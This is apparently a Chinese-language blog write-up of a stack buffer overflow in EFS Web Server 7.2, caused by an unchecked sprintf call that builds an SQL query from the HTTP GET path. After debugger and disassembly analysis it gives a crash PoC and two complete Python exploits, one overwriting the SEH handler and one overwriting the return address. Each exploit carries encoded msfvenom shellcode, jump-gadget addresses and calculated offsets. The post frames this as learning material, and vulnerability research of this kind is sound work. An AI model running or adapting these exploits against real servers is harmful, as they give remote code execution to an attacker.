EFS_Web_Server漏洞分析

来源:互联网 发布:nodejs 数组 indexof 编辑:程序博客网 时间:2024/06/10 01:57

EFS Web Server 7.2漏洞分析

简介

EFS Web Server是一款web服务器软件,能快速的搭建web服务。它在接受GET请求时,由于没有有效的控制请求字符串的长度导致栈溢出。


分析环境

OS:                 Microsoft Windows 10 64bit 专业版Software:           EFS Web Server 7.2winDbg:             6.12.2.633IDAPro:             6.8 绿色版python:             python 2.7

漏洞分析

编写如下的脚本用作poc

# coding=utf-8# fileName: poc.py# usage: python poc.py ip payloadNumsimport socketimport sysRHOST = sys.argv[1]RPORT = 80payload = '\x41'*int(sys.argv[2])s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((RHOST,RPORT))s.send('GET '+payload+' HTTP/1.0\r\n\r\n')s.close()print 'done.'

打开EFS,用windbg附加到该进程,然后执行poc,windbg遇到异常被断下

(9f0.4220): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=41414141 ebx=00000001 ecx=ffffffff edx=00b65fa4 esi=00b65f7c edi=00b65fa4eip=61c277f6 esp=00b65ef8 ebp=00b65f10 iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Users\gyh\Desktop\1\sqlite3.dll - sqlite3!sqlite3_errcode+0x8e:61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:002b:4141418d=????????

这里是因为eax+4ch处的内存没有开辟出来导致内存访问异常,而且eax=41414141这是畸形字符串的值,说明传入的payload已经覆盖了eax,下面进行堆栈回溯找到上层的函数调用去分析漏洞是如何触发的

0:007> kbChildEBP RetAddr  Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.00b65f10 61c6286c 000011b8 00001194 02ef4724 sqlite3!sqlite3_errcode+0x8e*** WARNING: Unable to verify checksum for C:\Users\gyh\Desktop\1\fsws.exe*** ERROR: Module load completed but symbols could not be loaded for C:\Users\gyh\Desktop\1\fsws.exe00b65f50 00496624 00000001 00000000 00b65f7c sqlite3!sqlite3_declare_vtab+0x328200b675f4 00000000 00000000 00b6755c 00b67570 fsws+0x96624

函数返回在61c6286c处,打开ida载入sqlite3.dll并跳转到该处

.text:61C6284E                 push    ebp.text:61C6284F                 mov     ebp, esp.text:61C62851                 push    edi.text:61C62852                 push    esi.text:61C62853                 push    ebx.text:61C62854                 sub     esp, 2Ch.text:61C62857                 mov     ebx, eax.text:61C62859                 mov     edi, edx.text:61C6285B                 mov     [ebp+var_1C], ecx.text:61C6285E                 mov     esi, [ebp+arg_8].text:61C62861                 mov     dword ptr [esi], 0.text:61C62867                 call    _sqlite3SafetyCheckOk.text:61C6286C                 test    eax, eax         ;ret addr.text:61C6286E                 jz      short loc_61C62874.text:61C62870                 test    edi, edi

显然漏洞的触发位置就在_sqlite3SafetyCheckOk,直接跟进去F5

signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>){  signed int v1; // ebx@2  if ( a1 )  {    v1 = 1;    if ( *(_DWORD *)(a1 + 76) != -1607883113 )    {      LOBYTE(v1) = 0;      if ( sqlite3SafetyCheckSickOrOk() )        sqlite3_log(21, "API call with %s database connection pointer", "unopened");    }  }  else  {    sqlite3_log(21, "API call with %s database connection pointer", (unsigned int)"NULL");    v1 = 0;  }  return v1;}

这里的*(_DWORD *)(a1+76)就是漏洞触发位置的[eax+4ch],我们应该关注a1。这里的a1是上层函数传递进来的,回到上层函数F5

signed int __usercall sqlite3LockAndPrepare@<eax>(int a1@<eax>, int a2@<edx>, int a3, int a4, _DWORD *a5, int a6){  int v6; // ebx@1  int v7; // edi@1  signed int v8; // edx@3  signed int v9; // edx@4  signed int v10; // ST18_4@6  v6 = a1;  v7 = a2;  *a5 = 0;  if ( sqlite3SafetyCheckOk(a1) && v7 )  {    sqlite3_mutex_enter(*(_DWORD *)(v6 + 12));    sqlite3BtreeEnterAll();    v9 = sqlite3Prepare(a3, a4, a5, a6);    if ( v9 == 17 )    {      sqlite3_finalize(*a5);      v9 = sqlite3Prepare(a3, a4, a5, a6);    }    v10 = v9;    sqlite3BtreeLeaveAll();    sqlite3_mutex_leave(*(_DWORD *)(v6 + 12));    v8 = v10;  }  else  {    sqlite3_log(21, "misuse at line %d of [%.10s]", 105119, "9d6c1880fb75660bbabd693175579529785f8a6b");    v8 = 21;  }  return v8;}

该函数传递给sqlite3SafetyCheckOk的参数又是上层函数传递进来的第一个参数,所以继续查看00496624返回位置处的函数,这个地址是主程序fsws.exe的,所以再打开一个ida载入fsws.exe

.text:00496600                 push    ecx.text:00496601                 mov     eax, [esp+4+arg_4].text:00496605                 push    esi.text:00496606                 test    eax, eax.text:00496608                 mov     [esp+8+var_4], 0.text:00496610                 push    0.text:00496612                 jz      short loc_496644.text:00496614                 lea     edx, [esp+0Ch+arg_4].text:00496618                 push    edx.text:00496619                 push    0FFFFFFFFh.text:0049661B                 push    eax.text:0049661C                 mov     eax, [ecx].text:0049661E                 push    eax.text:0049661F                 call    sqlite3_prepare_v2       ;.text:00496624                 add     esp, 14h         ;ret addr.text:00496627                 test    eax, eax.text:00496629                 jz      short loc_49663F

该函数调用了sqlite3_prepare_v2函数,这个函数属于sqlite3.dll的导出函数,在加载了sqlite3.dll的ida中搜索该函数并F5

int __cdecl sqlite3_prepare_v2(int a1, int a2, int a3, int a4, int a5){  return sqlite3LockAndPrepare(a1, a2, 1, 0, (_DWORD *)a4, a5);}

这个函数又调用了sqlite3LockAndPrepare(a1, a2, 1, 0, (_DWORD *)a4, a5);,这样整个函数调用就连接起来了,这里只要关注第一个参数a1,还要继续向上回溯。回到加载主程序的ida,找到刚刚位置的函数直接F5

int __thiscall sub_496600(_DWORD *this, int a2, int a3){  int v4; // [sp-4h] [bp-Ch]@1  v4 = 0;  if ( a3 )  {    if ( sqlite3_prepare_v2(*this, a3, -1, &a3, 0) )    {      sub_496710(0);      return a2;    }    v4 = a3;  }  sub_496710(v4);  return a2;}

传递给sqlite3_prepare_v2的第一个参数是sub_496600的第一个参数指向内存的值,所以要继续向上层回溯看看是那个函数在修改这个值。这里如果用交叉引用的话函数太多,所以直接在windbg中下断点bp 496600,然后通过堆栈回溯找到上层调用。触发断点后要继续执行,找到离触发漏洞最近的断点然后分析。

0:007> kbChildEBP RetAddr  Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.030b75f4 00000000 00000000 030b755c 030b7570 fsws+0x96600

可以看到,堆栈回溯无法找到上层函数的调用,可能是因为上层的调用没有标准的使用ebp。这里可以先查看寄存器的值指向的内存,看看有没有与畸形字符串相关的

0:007> reax=030b5fa4 ebx=00001101 ecx=030b7028 edx=030b715b esi=030b7028 edi=02e2f4fceip=00496600 esp=030b5f74 ebp=030b75f4 iopl=0         nv up ei pl nz ac po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212fsws+0x96600:00496600 51              push    ecx0:007> dc eax030b5fa4  656c6573 2a207463 6f726620 7173206d  select * from sq030b5fb4  6261746c 7720656c 65726568 6d616e20  ltable where nam030b5fc4  41273d65 41414141 41414141 41414141  e='AAAAAAAAAAAAA030b5fd4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA030b5fe4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA030b5ff4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA030b6004  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA030b6014  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这是一个sql查询,里面有传入的畸形字符串。而且esp与eax的值很相近,说明sql查询字符串就在栈上,可能就是应为sql查询字符串的拼接导致栈的溢出。回到加载主程序的ida查找select * from的字符串

1

发现有很多这样的字符串,但是跟上面的sql查询语句匹配的只有select * from %s where %s='%s',这里有两处,随便跟进去一处

.text:004972B1                 push    edi.text:004972B2                 push    edx.text:004972B3                 push    eax.text:004972B4                 push    offset aSelectFromSWhe ; "select * from %s where %s='%s'".text:004972B9                 push    ecx             ; char *.text:004972BA                 call    _sprintf.text:004972BF                 add     esp, 14h.text:004972C2                 lea     edx, [esp+1028h+var_100C].text:004972C6                 lea     eax, [esp+1028h+var_1014].text:004972CA                 mov     ecx, esi.text:004972CC                 push    edx.text:004972CD                 push    eax.text:004972CE                 call    sub_496600           ;调用了要关注的函数.text:004972D3                 add     esi, 4

可以发现函数调用_sprintf函数,它是一个危险的函数,如果不控制好传入字符串的长度就会造成溢出,而且下面有调用了我们要回溯的函数,所以这里很可能就是造成漏洞的位置。另一处和这里一样都调用了_sprintf,那么可以在这两处的_sprnitf处下断点看看究竟哪一处能有机会造成漏洞。在分析前同样得找到离漏洞触发最近的一次断点

0:007> gBreakpoint 0 hiteax=02f549a8 ebx=00001101 ecx=02f549f8 edx=03125fa4 esi=03127028 edi=048cf494eip=0049747e esp=03125f6c ebp=031275f4 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202fsws+0x9747e:0049747e e8f71b0600      call    fsws+0xf907a (004f907a)0:007> dd esp03125f6c  03125fa4 005a180c 02f549f8 02f549a803125f7c  048cf494 ffffffff 031271f8 0000110703125f8c  02f549f8 02f549a8 00000000 0000000003125f9c  00000000 02f56000 656c6573 2a20746303125fac  6f726620 7173206d 6261746c 6c20656c03125fbc  74696d69 00003120 00000000 0000000003125fcc  00000000 00000000 00000000 0000000003125fdc  00000000 00000000 00000000 000000000:007> dc 005a180c 005a180c  656c6573 2a207463 6f726620 7325206d  select * from %s005a181c  65687720 25206572 25273d73 00002773   where %s='%s'..005a182c  65687720 25206572 25273d73 00002773   where %s='%s'..005a183c  656c6573 2a207463 6f726620 7325206d  select * from %s005a184c  6d696c20 31207469 00000000 656c6573   limit 1....sele005a185c  2a207463 6f726620 7325206d 65687720  ct * from %s whe005a186c  25206572 273d3c73 20277325 6564726f  re %s<='%s' orde005a187c  79622072 73252720 45442027 00004353  r by '%s' DESC..0:007> dc 048cf494 048cf494  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA048cf4a4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA048cf4b4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA048cf4c4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA048cf4d4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA048cf4e4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA048cf4f4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA048cf504  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

找到离漏洞触发最近的断点后查看了函数的参数,_sprintf会把字符串写入03125f6c处这在栈上。通过格式字符串可以找到第三个%s,而且这里面存放的就是畸形字符串。然后单步步过

0:007> eax=000011b8 ebx=00001101 ecx=03125f44 edx=0312715b esi=03127028 edi=048cf494eip=00497483 esp=03125f6c ebp=031275f4 iopl=0         nv up ei pl zr na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246fsws+0x97483:00497483 83c414          add     esp,14h0:007> dc 03125fa4 03125fa4  656c6573 2a207463 6f726620 7173206d  select * from sq03125fb4  6261746c 7720656c 65726568 6d616e20  ltable where nam03125fc4  41273d65 41414141 41414141 41414141  e='AAAAAAAAAAAAA03125fd4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA03125fe4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA03125ff4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA03126004  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA03126014  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到字符串已经完全拷贝到栈空间。然后继续单步步过直到sub_496600函数的位置

0:007> eax=03125fa4 ebx=00001101 ecx=03127028 edx=0312715b esi=03127028 edi=048cf494eip=00497492 esp=03125f78 ebp=031275f4 iopl=0         nv up ei pl nz ac po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212fsws+0x97492:00497492 e869f1ffff      call    fsws+0x96600 (00496600)

这里关注一下之后调用sub_496600函数的代码,可以看到传入该函数的第一个参数是ecx,而且ecx在03125fa4栈地址的下方,所以如果畸形字符串足够长那么就会覆盖ecx指向的内存,根据前面的分析,ecx指向的内存最后就会赋给eax然后造成内存访问异常。可以计算一下ecx-0x03125fa4-len("select * from sqltable where name='")=4193,就是说畸形字符串长度超过4193字节后就可能会触发内存访问异常。


漏洞利用(一)

在造成内存访问异常后,会触发seh异常处理,这里我直接覆盖异常处理句柄进而执行shellcode,暂时不考虑绕过各种安全机制。
编写exp前首先计算如何布局shellcode内存,其实可以利用pwntools中的cyclic工具生成payload进行填写然后可以快速的确定布局,但是这里直接手动计算全是为了学习。

重新调试程序不附加断点

0:007> !tebTEB at 0031e000    ExceptionList:        03226fa4    StackBase:            03240000    StackLimit:           03224000    SubSystemTib:         00000000    FiberData:            00001e00    ArbitraryUserPointer: 00000000    Self:                 0031e000    EnvironmentPointer:   00000000    ClientId:             00008af0 . 00002348    RpcHandle:            00000000    Tls Storage:          0080bc28    PEB Address:          00306000    LastErrorValue:       2    LastStatusValue:      c0000034    Count Owned Locks:    0    HardErrorMode:        00:007> dps 03226fa4 l203226fa4  4141414103226fa8  41414141      ;seh处理句柄0:007> dc edi03225fa4  656c6573 2a207463 6f726620 7173206d  select * from sq03225fb4  6261746c 7720656c 65726568 6d616e20  ltable where nam03225fc4  41273d65 41414141 41414141 41414141  e='AAAAAAAAAAAAA03225fd4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA03225fe4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA03225ff4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA03226004  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA03226014  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这里虽然被覆盖成畸形字符串,但是第一个seh处理句柄地址不变,另外edi的值就是sql查询字符串的地址(汇编可以分析出来),虽然栈地址每次执行程序都会改变但是相对距离不变,所以这里计算异常处理句柄地址和payload首部的距离=0x03226fa8-0x03225fa4-len("select * from sqltable where name='")=4065。然后覆盖异常处理句柄,可以直接在ImageLoad.dll的内存空间中搜索pop pop ret的跳转指令,这个dll也是主程序要加载的dll,而且它的内存空间的地址没有0字节。这样使程序跳转到shellcode的范围内,这里可以使用相关工具搜索。在异常处理时栈的情况是

0:007> dd esp032255a0  77906202 03225a48 03226fa4 03225a98032255b0  03225610 03226fa4 77906220 03226fa4032255c0  03225a20 779061d4 03225a48 03226fa4032255d0  03225a98 03225610 41414141 03225a98032255e0  03225a48 03225a30 778e3065 03225a48032255f0  03226fa4 03225a98 03225610 4141414103225600  03225fa4 03225f7c 032256dc 778f9fd003225610  61866a22 00000000 03224000 03240000

那么执行完ret03226fa4将作为返回地址赋给eip,这里需要计算03226fa4在payload中的位置以便布置shellcode,03226fa4与payload首部距离=0x03226fa4-0x03225fa4-len("select * from sqltable where name='")=4061,在payload偏移4061处可以填充一个4字节的向前跳转或向后跳转指令,但注意其后的异常处理句柄的位置。这里使用的shellcode是用msfvenom生成的打开一个计算器的shellcodemsfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d\x20\x5c\x2c\x25\x2f',需要注意的是应该尽量避免特殊字符对payload的影响。于是编写如下exp

# coding=utf-8# fileName: exp.py# usage: python exp.py ip# shellcode by 'msfvenom' use: msfvenom -p windows/exec CMD=calc.exe -e#                                x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d\x20\x5c\x2c\x25\x2f'from socket import *import sysbuf =  ""buf += "\xbe\xa6\x51\x73\xac\xdb\xcc\xd9\x74\x24\xf4\x5a\x29"buf += "\xc9\xb1\x38\x83\xc2\x04\x31\x72\x0e\x03\xd4\x5f\x91"buf += "\x59\xa6\xfb\x5a\x4e\x3f\x21\xae\x57\xcb\xf2\xdb\x30"buf += "\x18\x32\x92\xf0\x6f\xb4\xc6\xf1\xff\x27\x6a\x35\x60"buf += "\xaa\x75\xa3\xe9\x46\x67\x2d\x92\xbd\x0c\xb1\x2a\xa9"buf += "\xdd\xf2\xba\x76\xba\xf9\x3e\x39\x34\xbc\xa1\xe7\xc0"buf += "\x71\xf5\x6f\x3c\x8d\xac\xd1\x7c\xf1\x87\xa9\x6a\x4e"buf += "\xc7\xba\xfc\xcf\xb2\x52\x7c\x1c\x32\x4f\x4a\x67\x71"buf += "\x3f\x37\x08\xf2\x6b\xb5\x5b\x33\xc4\x79\x61\x8f\xe5"buf += "\x9f\xc2\x86\xc0\x88\xb4\x56\x33\x56\xfd\x42\xcf\x68"buf += "\x61\xff\xd3\xd6\x40\x45\x24\x48\x5a\xc5\xcb\x5e\xfd"buf += "\x4a\xa1\xb1\xa6\xb6\xf0\x37\x98\x12\x18\x14\x7d\x0f"buf += "\xd3\x1f\xea\xf6\x50\x97\xdc\x75\x9d\x34\x6f\xfc\x56"buf += "\xe7\xec\xf6\x1b\x6f\xf5\x57\x4b\xd9\xe4\x68\x45\xcf"buf += "\x58\x76\x4e\x9d\x53\x7a\x62\x6c\x34\xd8\x86\xed\x5a"buf += "\xf4\x82\x93\x53\x18\xe6\x04\xe8\xd3\x12\x6a\xa1\xa3"buf += "\xe6\xf0\x4e\x53\x65\x24\xd0\xf2\xa5\xfd\x4d\x11\xa4"buf += "\xa8\x1b\x4c\x3e\x13\xc3\xfe\x17\x5b\x08\x16\x50\xfe"buf += "\x1c\xb9\xb8\xee\x74\x7b\x3c\x82\x0c\x26\x39\x72\x77"#247 bytesRHOST = sys.argv[1]RPORT = 80payload = '\x90'*4061 #junk codepayload += '\xeb\x06\x90\x90' #jmp higher addr;offset = 8-2 = 6 = 0x06payload += '\x5f\xab\x01\x10' #'pop pop return' addr 0x1001ab5fpayload += buf #shellcodes = socket(AF_INET,SOCK_STREAM)s.connect((RHOST,RPORT))s.send('GET '+payload+' HTTP/1.0\r\n\r\n')print 'done.'s.close()

漏洞利用(二)

利用(一)中的分析,如果传入的payload长度为4193这时payload无法覆盖到eax那么就不会引起内存访问异常,但是实际上它会引起返回地址被覆盖,从而我们可以利用覆盖返回地址来利用漏洞。下面要确定返回地址在何处被覆盖,这里在前面分析的能造成漏洞的_sprintf处下断点并找到离漏洞触发最近的一次

0:007> gBreakpoint 0 hiteax=030849a8 ebx=00001001 ecx=030849f8 edx=03185fa4 esi=03187028 edi=02ebe1c4eip=0049747e esp=03185f6c ebp=031875f4 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202fsws+0x9747e:0049747e e8f71b0600      call    fsws+0xf907a (004f907a)0:009> dd esp03185f6c  03185fa4 005a180c 030849f8 030849a803185f7c  02ebe1c4 ffffffff 031871f8 0000100703185f8c  030849f8 030849a8 00000000 0000000003185f9c  00000000 03086000 656c6573 2a20746303185fac  6f726620 7173206d 6261746c 6c20656c03185fbc  74696d69 00003120 00000000 0000000003185fcc  00000000 00000000 00000000 0000000003185fdc  00000000 00000000 00000000 00000000

然后一直单步步过直到遇到ret指令或者触发漏洞时停下,实际上它在执行ret之前并不会触发漏洞

0:009> eax=00000000 ebx=00001007 ecx=41414141 edx=00250000 esi=031871f8 edi=ffffffffeip=00497562 esp=03186fb0 ebp=031875f4 iopl=0         nv up ei pl nz ac po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212fsws+0x97562:00497562 c20c00          ret     0Ch0:009> dd esp03186fb0  41414141 41414141 41414141 4141414103186fc0  41414141 41414141 41414141 4141414103186fd0  41414141 41414141 41414141 4141414103186fe0  41414141 41414141 41414141 4141414103186ff0  41414141 41414141 41414141 4141414103187000  41414141 41414141 41414141 4141414103187010  41414141 41414141 41414141 4141414103187020  41414141 41414141 05130027 00000000

可以看到,函数返回时返回地址已经被畸形字符串覆盖,而且可以计算出retAddr与payload首部距离=0x03186fb0-0x03185fa4-len("select * from sqltable where name='")=4073,于是又可以写出利用返回地址覆盖的exp,这里的shellcode仍然是(一)的shellcode

# coding=utf-8# fileName: exp2.py# usage: python exp2.py ip# shellcode by 'msfvenom' use: msfvenom -p windows/exec CMD=calc.exe -e#                                x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d\x20\x5c\x2c\x25\x2f'from socket import *import sysbuf =  ""buf += "\xbe\xa6\x51\x73\xac\xdb\xcc\xd9\x74\x24\xf4\x5a\x29"buf += "\xc9\xb1\x38\x83\xc2\x04\x31\x72\x0e\x03\xd4\x5f\x91"buf += "\x59\xa6\xfb\x5a\x4e\x3f\x21\xae\x57\xcb\xf2\xdb\x30"buf += "\x18\x32\x92\xf0\x6f\xb4\xc6\xf1\xff\x27\x6a\x35\x60"buf += "\xaa\x75\xa3\xe9\x46\x67\x2d\x92\xbd\x0c\xb1\x2a\xa9"buf += "\xdd\xf2\xba\x76\xba\xf9\x3e\x39\x34\xbc\xa1\xe7\xc0"buf += "\x71\xf5\x6f\x3c\x8d\xac\xd1\x7c\xf1\x87\xa9\x6a\x4e"buf += "\xc7\xba\xfc\xcf\xb2\x52\x7c\x1c\x32\x4f\x4a\x67\x71"buf += "\x3f\x37\x08\xf2\x6b\xb5\x5b\x33\xc4\x79\x61\x8f\xe5"buf += "\x9f\xc2\x86\xc0\x88\xb4\x56\x33\x56\xfd\x42\xcf\x68"buf += "\x61\xff\xd3\xd6\x40\x45\x24\x48\x5a\xc5\xcb\x5e\xfd"buf += "\x4a\xa1\xb1\xa6\xb6\xf0\x37\x98\x12\x18\x14\x7d\x0f"buf += "\xd3\x1f\xea\xf6\x50\x97\xdc\x75\x9d\x34\x6f\xfc\x56"buf += "\xe7\xec\xf6\x1b\x6f\xf5\x57\x4b\xd9\xe4\x68\x45\xcf"buf += "\x58\x76\x4e\x9d\x53\x7a\x62\x6c\x34\xd8\x86\xed\x5a"buf += "\xf4\x82\x93\x53\x18\xe6\x04\xe8\xd3\x12\x6a\xa1\xa3"buf += "\xe6\xf0\x4e\x53\x65\x24\xd0\xf2\xa5\xfd\x4d\x11\xa4"buf += "\xa8\x1b\x4c\x3e\x13\xc3\xfe\x17\x5b\x08\x16\x50\xfe"buf += "\x1c\xb9\xb8\xee\x74\x7b\x3c\x82\x0c\x26\x39\x72\x77"#247 bytesRHOST = sys.argv[1]RPORT = 80payload = ''payload += '\x90'*(4073-len(buf)) #junk codepayload += buf #shellcodepayload += '\x09\x21\x76\x76' #0x76762109,'jmp esp' is from 'user32.dll'payload += '\x90'*12 #junk codepayload += '\xe9\xec\xfe\xff\xff' #jump higher addr = shellcode;offset = -(8+len(buf)+4+12+5) = -276 = 0xfffffeecs = socket(AF_INET,SOCK_STREAM)s.connect((RHOST,RPORT))s.send('GET '+payload+' HTTP/1.0\r\n\r\n')print 'done.'s.close()

修复建议

应当使用安全的函数进行字符串拼接。


漏洞总结

这种栈溢出的漏洞往往是因为错误的或不安全的使用函数造成的,这个程序正是由于未安全的使用sprintf函数造成的溢出。关于漏洞利用方面,我这里使用了攻击seh和覆盖返回地址的方式,但是并没有对windows下的安全机制进行明确的绕过说明,主要是因为还在初步学习漏洞利用的技巧,而且在不同的系统环境下exp是否有效并不能保证。


参考

k0shl大佬的视频https://www.ichunqiu.com/qad/course/56127

原创粉丝点击